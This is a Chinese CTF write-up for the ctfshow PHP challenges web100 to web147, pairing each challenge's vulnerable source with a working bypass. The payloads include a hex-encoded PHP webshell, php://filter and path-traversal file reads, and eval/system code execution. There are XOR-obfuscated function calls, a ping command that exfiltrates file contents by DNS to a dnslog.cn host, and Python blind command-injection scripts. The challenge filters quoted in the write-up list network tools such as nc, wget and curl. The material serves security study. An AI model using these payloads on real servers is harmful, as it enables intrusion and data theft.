Web100&101 考点:
PHP中逻辑与的两种形式:AND 和 &&,同样逻辑或也有对应的两种表达:OR 和 || 。但两种表达的优先级存在不同,AND和OR优先级低于=。以下段代码为例:
1 2 3 4 5 6 7 8 9 10 11 12 $bA = true ;$bB = false ;$b1 = $bA and $bB ;$b2 = $bA && $bB ;var_dump($b1 ); var_dump($b2 ); $bA = false ;$bB = true ;$b3 = $bA or $bB ;$b4 = $bA || $bB ;var_dump($b3 ); var_dump($b4 );
因此本题目只需要确保v1是数字型即可使v0为true。
WEB102&103 考点:
call_user_func()
1 call_user_func(callable $callback , mixed $parameter = ?, mixed $... = ?): mixed
参数:
callback:将被调用的回调函数
parameter:0或以上个传入回调函数的参数
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting(E_ALL); function increment (&$var ) { $var ++; } $a = 0 ;call_user_func('increment' , $a ); echo $a ."\n" ;call_user_func_array('increment' , array (&$a )); echo $a ."\n" ;?>
以上例程输出:
参考:https://www.php.net/manual/zh/function.call-user-func.php
基本思路:
substr()方法截断字符得到16进制编码的一句话木马,调用函数hex2bin将它写入文件后访问。
首先是一句话木马编码16进制
1 2 <?php eval ($_POST [1 ]);?> 0x3c3f706870 206576616 c28245f504f53545b315d293b3f3e
由于本题目php版本限制,直接传入的16进制数字不会被识别为数字类型,因此需要利用php伪协议将内容进行base64编码再转换为16进制
最终payload: 1 2 3 4 5 GET v2=115044383959474e6864434171594473 &v3=php: decode/resource=2 .php POST v1=hex2bin
访问2.php查看源码即可
WEB104
WEB105 考点: PHP变量替换,这里可以让三个变量中任意一个值为flag即可输出。
payload: 1 2 3 4 5 6 7 8 GET a=flag POST error=a //或者 GET suces=flag flag= //此时$suces=flag{xxx};$_POST['flag']=NULL;$flag=NULL
WEB106 考点及payload: 考察hash碰撞。
1 2 3 4 5 //数组绕过 GET v2[]=2e1 POST v1[]=2e2
碰撞实例 摘自羽师傅博客https://blog.csdn.net/miuzzx/article/details/109168454?spm=1001.2014.3001.5501
1 2 3 4 aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
WEB107 考点:
parse_str方法:把查询字符串解析到变量中语法:parse_str(string,array )
参数
描述
string
必须。规定要解析的字符串
array
可选。规定储存变量的数组名称,该参数指示变量存储到数组中
实例:1 2 3 4 5 6 <?php parse_str("name=Peter&age=43",$myArray); print_r($myArray); ?> //输出: Array ( [name] => Peter [age] => 43 )
payload: 1 2 3 4 GET v3=1 POST v1=flag=c4ca4238a0b923820dcc509a6f75849b //即v3的md5值
WEB108 考点:
payload:
877为0x36d的十进制,而正则匹配只会匹配00%之前的内容,之后内容被截断。
WEB109 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file(__FILE__ ); error_reporting(0 ); if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match('/[a-zA-Z]+/' , $v1 ) && preg_match('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
payload:
1 2 3 payload: ?v1=CachingIterator&v2=system(ls) ?v1=Exception&v2=system('cat fl36dg.txt')
web110 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file(__FILE__ ); error_reporting(0 ); if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
hint:考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
文件就在当前目录下。
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file(__FILE__ ); error_reporting(0 ); include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match('/ctfshow/' , $v1 )){ getFlag($v1 ,$v2 ); } } ?>
payload: ?v1=ctfshow&v2=GLOBALS
WEB 112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file(__FILE__ ); error_reporting(0 ); function filter ($file ) { if (preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file($file )){ highlight_file(filter($file )); }else { echo "hacker!" ; }
提示中的几种php伪协议:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
非预期:
二次urlencode绕过对base64、rot13的过滤:
php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php
web 113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file(__FILE__ ); error_reporting(0 ); function filter ($file ) { if (preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file($file )){ highlight_file(filter($file )); }else { echo "hacker!" ; }
hint:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
另解:
compress.zlib://flag.php
web 114 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0 ); highlight_file(__FILE__ ); function filter ($file ) { if (preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file($file )){ highlight_file(filter($file )); }else { echo "hacker!" ; }
payload:
php://filter/resource=flag.php
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php include ('flag.php' );highlight_file(__FILE__ ); error_reporting(0 ); function filter ($num ) { $num =str_replace("0x" ,"1" ,$num ); $num =str_replace("0" ,"1" ,$num ); $num =str_replace("." ,"1" ,$num ); $num =str_replace("e" ,"1" ,$num ); $num =str_replace("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric($num ) and $num !=='36' and trim($num )!=='36' and filter($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
trim()会消除变量中的换行符(包括\n在内,还有空格及\r\t\v\0),但是不过滤\f(%0c)
payload:
?num=%0c36
web 123 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
f10g不可用,只能通过fun用变量c执行命令。
c的变量中.会被过滤,使用[替换。php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_
,在php替换]后,后半部分字符串会被保留。
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
过滤flag、echo关键词。
将文件名传给变量,再用highlight_file输出。
payload:
get:?name=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[name])
非预期$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。‘argv’传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。 payload:GET:?a=1+fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web126 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
非预期:类似上题hint的参数逃逸,输出所有全局变量
GET:?0=var_export($GLOBALS);
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])
预期:
同126
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting(0 ); include ("flag.php" );highlight_file(__FILE__ ); $ctf_show = md5($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf($url )){ die ("嗯哼?" ); }else { extract($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
?ctf%20show=ilove36d
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0 ); include ("flag.php" );highlight_file(__FILE__ ); $f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check($f1 )){ var_dump(call_user_func(call_user_func($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match('/[0-9]|[a-z]/i' , $str );
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
gettext():获取的文本框当前输入内容的方法,返回内容。_()是gettext()函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。
payload:
?f1=_&f2=get_defined_vars
web129 1 2 3 4 5 6 7 highlight_file(__FILE__ ); if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos($f , 'ctfshow' )>0 ){ echo readfile($f ); } }
?f=/ctfshow/../../../../var/www/html/flag.php
?f=php://filter/ctfshow/resource=flag.php
web130 1 2 3 4 5 6 7 8 9 10 11 12 include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ;}
f=ctfshow
web131 1 2 3 4 5 6 7 8 9 10 11 12 13 14 include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String )$_POST ['f' ]; if (preg_match('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
正则默认的backtarck_limit是100000(10万). backtarck_limit在匹配字符串时的回溯次数。
所以要将post的内容突破这个值。
1 2 3 4 5 data={ 'f' :'very' *250000 +'36Dctfshow' } r=requests.post(url=url,data=data).text
web132 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 highlight_file(__FILE__ ); if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String )$_GET ['username' ]; $password = (String )$_GET ['password' ]; $code = (String )$_GET ['code' ]; if ($code === mt_rand(1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
?username=admin&password=1&code=admin
web133 1 2 3 4 5 6 7 8 if ($F = @$_GET ['F' ]){ if (!preg_match('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
由于代码中使用了 eval
执行传入的参数的前 6 个字符。
?F=$F
;+ping cat flag.php|grep ctfshow
.ra2l3p.dnslog.cn -c 1
web134 1 2 3 4 5 6 7 8 9 10 11 highlight_file(__FILE__ ); $key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str($_SERVER ['QUERY_STRING' ]); extract($_POST ); if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents('flag.php' )); }
php变量覆盖 利用点是 extract($_POST
); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表
payload: ?_POST[key1]=36d&_POST[key2]=36d
web135 1 2 3 4 5 6 7 8 if ($F = @$_GET ['F' ]){ if (!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
还没做
web136 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check($c ); exec($c ); } else { highlight_file(__FILE__ ); } ?>
tee
命令在Linux中用于从标准输入读取数据,并将其写入到标准输出和一个或多个文件中。tee
命令通常与其他命令一起通过管道使用。
cat /f149_15_h3r3|tee 2 将内容写入文件2中
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 highlight_file(__FILE__ ); class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } } call_user_func($_POST ['ctfshow' ]);
POST: ctfshow=ctfshow::getFlag
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } } if (strripos($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func($_POST ['ctfshow' ]);
这行代码检查 ctfshow
参数中是否包含冒号 (:
)。如果包含,输出 “private function” 并终止脚本。这是为了防止用户直接调用类的方法(如 ctfshow::getFlag
)。
利用数组参数特性,成功绕过了对 :
的检查
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check($c ); exec($c ); } else { highlight_file(__FILE__ ); }
利用web136的方法不行,没有写入权限了
?c=ls;sleep 3 等了一会,无回显。
盲注脚本:
设置超时时间为 2.5 秒。
如果请求超时(表示 sleep 3
被执行,猜测的字符 n
是正确的),则捕获异常并记录结果字符 n
,打印当前猜测结果,并退出最内层循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport timeimport stringstr =string.ascii_letters+string.digits+'_~' result="" for i in range (1 ,10 ): key=0 for j in range (1 ,15 ): if key==1 : break for n in str : payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi" .format (i,j,n) url="http:xxx/.challenge.ctf.show/?c=" +payload try : requests.get(url,timeout=(2.5 ,2.5 )) except : result=result+n print (result) break if n=='~' : key=1 result+=" "
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport timeimport stringstr =string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range (1 ,45 ): print (j) if key==1 : break for n in str : payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi" .format (j,n) url="http://xxxx.challenge.ctf.show/?c=" +payload try : requests.get(url,timeout=(2.5 ,2.5 )) except : result=result+n print (result) break
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file(__FILE__ ); if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){ $f1 = (String )$_POST ['f1' ]; $f2 = (String )$_POST ['f2' ]; if (preg_match('/^[a-z0-9]+$/' , $f1 )){ if (preg_match('/^[a-z0-9]+$/' , $f2 )){ $code = eval ("return $f1 ($f2 ());" ); if (intval($code ) == 'ctfshow' ){ echo file_get_contents("flag.php" ); } } } }
$code = eval("return $f1($f2());");
:执行 f1(f2())
并返回结果赋值给 $code
if(intval($code) == 'ctfshow')
:检查 $code
是否等于字符串 'ctfshow'
。
根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)
的值为0。
intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
所以需要$f1($f2());
的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
payload1: system(system())—> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())—->getdate(array型)—>失败返回flase,intval为0。
web141 1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String )$_GET ['v1' ]; $v2 = (String )$_GET ['v2' ]; $v3 = (String )$_GET ['v3' ]; if (is_numeric($v1 ) && is_numeric($v2 )){ if (preg_match('/^\W+$/' , $v3 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。
1-phpinfo()-1的结果为0,phpinfo()执行成功返回true,1-1-1=-1
参考:https://blog.csdn.net/miuzzx/article/details/109143413
web142 1 2 3 4 5 6 7 8 9 highlight_file(__FILE__ ); if (isset ($_GET ['v1' ])){ $v1 = (String )$_GET ['v1' ]; if (is_numeric($v1 )){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep($d ); echo file_get_contents("flag.php" ); } }
水题
web143 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String )$_GET ['v1' ]; $v2 = (String )$_GET ['v2' ]; $v3 = (String )$_GET ['v3' ]; if (is_numeric($v1 ) && is_numeric($v2 )){ if (preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } }
v1=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”) &v2=1
web144 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = (String )$_GET ['v1' ]; $v2 = (String )$_GET ['v2' ]; $v3 = (String )$_GET ['v3' ]; if (is_numeric($v1 ) && check($v3 )){ if (preg_match('/^\W+$/' , $v2 )){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code ; } } } function check ($str ) { return strlen($str )===1 ?true :false ; }
?v1=1&v2=(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%14%01%03%20%06%0c%02”|”%60%60%60%20%60%60%28”)&v3=-
web145 web146 web147 1 2 3 4 5 6 7 if (isset ($_POST ['ctf' ])){ $ctfshow = $_POST ['ctf' ]; if (!preg_match('/^[a-z0-9_]*$/isD' ,$ctfshow )) { $ctfshow ('' ,$_GET ['show' ]); } }
1 2 3 4 5 6 7 create_function('$a' ,'echo $a."123"' ) function f ($a ) { echo $a ."123" ; }
终极目标,构造类似以下的注入:
1 2 3 4 5 6 7 传入: show=echo 1 ;}phpinfo(); 就类似于: function f ($a ) { echo 1 ;}phpinfo(); }
而在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以%5c可以绕过正则。
1 2 GET ?show=;};system('grep flag flag.php');/* POST ctf=%5ccreate_function